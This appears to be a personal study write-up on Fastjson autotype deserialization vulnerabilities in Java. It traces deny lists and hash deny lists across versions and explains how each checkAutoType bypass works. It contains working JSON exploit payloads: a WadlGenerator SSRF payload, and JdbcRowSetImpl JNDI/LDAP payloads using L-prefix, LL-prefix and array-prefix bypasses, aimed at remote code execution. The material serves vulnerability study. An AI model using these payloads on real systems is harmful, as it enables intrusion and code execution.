Brief intro:
-
Is
Fastjson is a json library maintained by Alibaba. It uses an algorithm of “assuming ordered fast matching” and is known as the fastest json library in Java.
FastJson turn on autotype to allow
ParseObject
from map Object can be customize by attacker follow gadget chain in libs exist on project. -
Ref
[1] Fastjson process analysis
[2] Fastjson-deserialization-vulnerability-history
[3] FastJson deserialization learning
[4] JNDI Exploit
-
Self Question
1. Attributes can customize by attacker or base on format deserialize of lib ?
2. What is the whitelist and blacklist.
3. Why `@type` exist many times in payload
4. What is `val`.
Read & Practice
- LifeCycle
<1.2.24:
-Autotype enable default
-DenyList=[java.lang.Thread]
1.2.25:
-Autotype disable default
-DenyList=[bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework]
-Add function checkAutoType
1.2.42:
-DenyList=[-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L]
1.2.61:
-DenyList from Decimal convert to hex
- ListToken
- Stacktrace
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:75, ArrayListTypeFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:838, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1573, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_WadlGenerator (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1401, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parse:149, JSON (com.alibaba.fastjson)
main:35, ApacheCxfSSRFPoc (com.threedr3am.bug.fastjson.ssrf)
-
Vulnerable class : DefaultJSONParser.class
-
Payload example
{\"@type\":\"org.apache.cxf.jaxrs.model.wadl.WadlGenerator\",\"schemaLocations\": \"http://127.0.0.1:8009?a=1&b=22222\"}
-
Struct
- @Type here corresponds to the commonly autotype function , simply understood that fastjson will automatically map the value of key: value of json to the class corresponding to @type.
- Convert character to
hashCode
acceptHashCodes={}
denyHashCodes=[-9164606388214699518, -8720046426850100497, -8649961213709896794, -8165637398350707645, -8109300701639721088, -7966123100503199569, -7921218830998286408, -7775351613326101303, -7768608037458185275, -7766605818834748097, -6835437086156813536, -6316154655839304624, -6179589609550493385, -6025144546313590215, -5939269048541779808, -5885964883385605994, -5764804792063216819, -5472097725414717105, -5194641081268104286, -4837536971810737970, -4608341446948126581, -4438775680185074100, -4082057040235125754, -3975378478825053783, -3935185854875733362, -3319207949486691020, -3077205613010077203, -2825378362173150292, -2439930098895578154, -2378990704010641148, -2364987994247679115, -2262244760619952081, -2192804397019347313, -2095516571388852610, -1872417015366588117, -1650485814983027158, -1589194880214235129, -905177026366752536, -831789045734283466, -582813228520337988, -254670111376247151, -190281065685395680, -26639035867733124, -9822483067882491, 4750336058574309, 33238344207745342, 218512992947536312, 313864100207897507, 386461436234701831, 823641066473609950, 1073634739308289776, 1153291637701043748, 1203232727967308606, 1459860845934817624, 1502845958873959152, 1534439610567445754, 1698504441317515818, 1818089308493370394, 2078113382421334967, 2164696723069287854, 2653453629929770569, 2660670623866180977, 2731823439467737506, 2836431254737891113, 3089451460101527857, 3114862868117605599, 3256258368248066264, 3547627781654598988, 3637939656440441093, 3688179072722109200, 3718352661124136681, 3730752432285826863, 3794316665763266033, 4046190361520671643, 4147696707147271408, 4254584350247334433, 4814658433570175913, 4841947709850912914, 4904007817188630457, 5100336081510080343, 5274044858141538265, 5347909877633654828, 5450448828334921485, 5474268165959054640, 5596129856135573697, 5688200883751798389, 5751393439502795295, 5944107969236155580, 6007332606592876737, 6280357960959217660, 6456855723474196908, 6511035576063254270, 6534946468240507089, 6734240326434096246, 6742705432718011780, 6854854816081053523, 7123326897294507060, 7179336928365889465, 7375862386996623731, 7442624256860549330,7658177784286215602,8055461369741094911,8389032537095247355,8409640769019589119,8488266005336625107,8537233257283452655,8838294710098435315,9140390920032557669,9140416208800006522]
Code to rebuild
Reproduce from article [3]
Create project java with java framework, this is source code .
pom.xml . Change version of fastJson into tag version
in pom.xml to download.
Testfastjson.java
User.java
Test.java
History
early 1.2.24
- Using gadget in
Apache CXF JAX-RS Bundle Jar
to trigglessrf
.
- Payload:
{"@type":"org.apache.cxf.jaxrs.model.wadl.WadlGenerator","schemaLocations":"http://127.0.0.1:8001/pwned"}
1.2.25 - 1.2.41
- Enable AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- Payload:
{\"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\": \"ldap://127.0.0.1:1389/w17ii2\",\"autoCommit\": true\ "}
- Explain:
-
According DenyList, com.sun
exists array, So with clazz Lcom.sun.rowset.JdbcRowSetImpl;
. It will have to go through some screening steps later to bypass.
Step 1:
com\alibaba\fastjson\parser\ParserConfig.class
Lcom.sun -> passed -> clazz name still is Lcom.sun.rowset.JdbcRowSetImpl;
Step 2:
com\alibaba\fastjson\util\TypeUtils.class
Lcom.sun -> replace -> com.sun.rowset.JdbcRowSetImpl
Bypass success.
1.2.41
- Payload:
{\"@type\": \"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/w17ii2\",\"autoCommit\": true\ "}
- Explain:
-
According DenyList, com.sun
exists array, So with clazz LLcom.sun.rowset.JdbcRowSetImpl;;
. It will have to go through some screening steps later to bypass.
Step 1:
com\alibaba\fastjson\parser\ParserConfig.class
LLcom.sun.rowset.JdbcRowSetImpl;; -> substring -> Lcom.sun.rowset.JdbcRowSetImpl;
Step 2:
com\alibaba\fastjson\parser\ParserConfig.class
Lcom.sun.rowset.JdbcRowSetImpl; -> passed -> clazz name still is Lcom.sun.rowset.JdbcRowSetImpl;
Step 3:
com\alibaba\fastjson\util\TypeUtils.class
Lcom.sun.rowset.JdbcRowSetImpl; -> replace -> com.sun.rowset.JdbcRowSetImpl
Bypass success.
1.2.43
- Payload:
{"@type": "[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName": "ldap://127.0.0.1:1389/w17ii2",autoCommit: true]]}
-
Explain:
Step 1:
com\alibaba\fastjson\parser\ParserConfig.class
[com.sun -> passed -> clazz name still is [com.sun.rowset.JdbcRowSetImpl
Step 2:
com\alibaba\fastjson\util\TypeUtils.class
[com.sun.rowset.JdbcRowSetImpl;> passed-> com.sun.rowset.JdbcRowSetImpl
Bypass success.
1.2.44
- Patch
com\alibaba\fastjson\parser\ParserConfig.class
Check className[0] == [
will response exception.
1.2.45 - 1.2.46
- Patch
A blacklist was added and no checkAutotype bypass occurred.
1.2.47
Why @type
exist many times in payload
^ @type can exists many fitmes because this is a part of feature
autoType. This can be mapping key: value
with key(@type) is class(value).
*What is `val`.*
^ This is a step to bypass this version.It took quite a while to figure out how to bypass this version according to other articles.
- Payload:
- Explain:
With t1
, java.lang.Class
passed checkAutoType
because this not exist in denyHashCode
. So next step to help t2
passed checkAutoType
. Look!
com\alibaba\fastjson\serializer\MiscCodec.class
Handle key
(val) to get string base on substring
. Value is com.sun.rowset.JdbcRowSetImpl
.
It called loadClass(), becareful with here!
com\alibaba\fastjson\serializer\MiscCodec.class
com\alibaba\fastjson\util\TypeUtils.class
It consists of two identical but different loadclass classes in the number of parameters passed. Notice it, in other versions, the loadClass calls from ParserConfig called loadClass () //2 with the cache false, as when called at MiscCodec.class it will call loadclass() at 1 so it can be cached set it to True.Then called loadclass() //2
com\alibaba\fastjson\util\TypeUtils.class
Mapping obj is com.sun.rowset.JdbcRowSetImpl
into map
with key is t1
. break point 1
com\alibaba\fastjson\parser\ParserConfig.class
Although Arrays.binarySearch(this.denyHashCodes, hash) >= 0
=> true
but TypeUtils.getClassFromMapping(typeName) == null
=> false
from break point 1
.
com\alibaba\fastjson\serializer\MiscCodec.class
It called loadClass(), becareful with here!
com\alibaba\fastjson\util\TypeUtils.class
com\alibaba\fastjson\parser\ParserConfig.class
Although Arrays.binarySearch(this.denyHashCodes, hash) >= 0
=> true
but TypeUtils.getClassFromMapping(typeName) == null
=> false
t2
bypass checkAutoType
and t2
is last chain to trigger RCE.
Bypass success.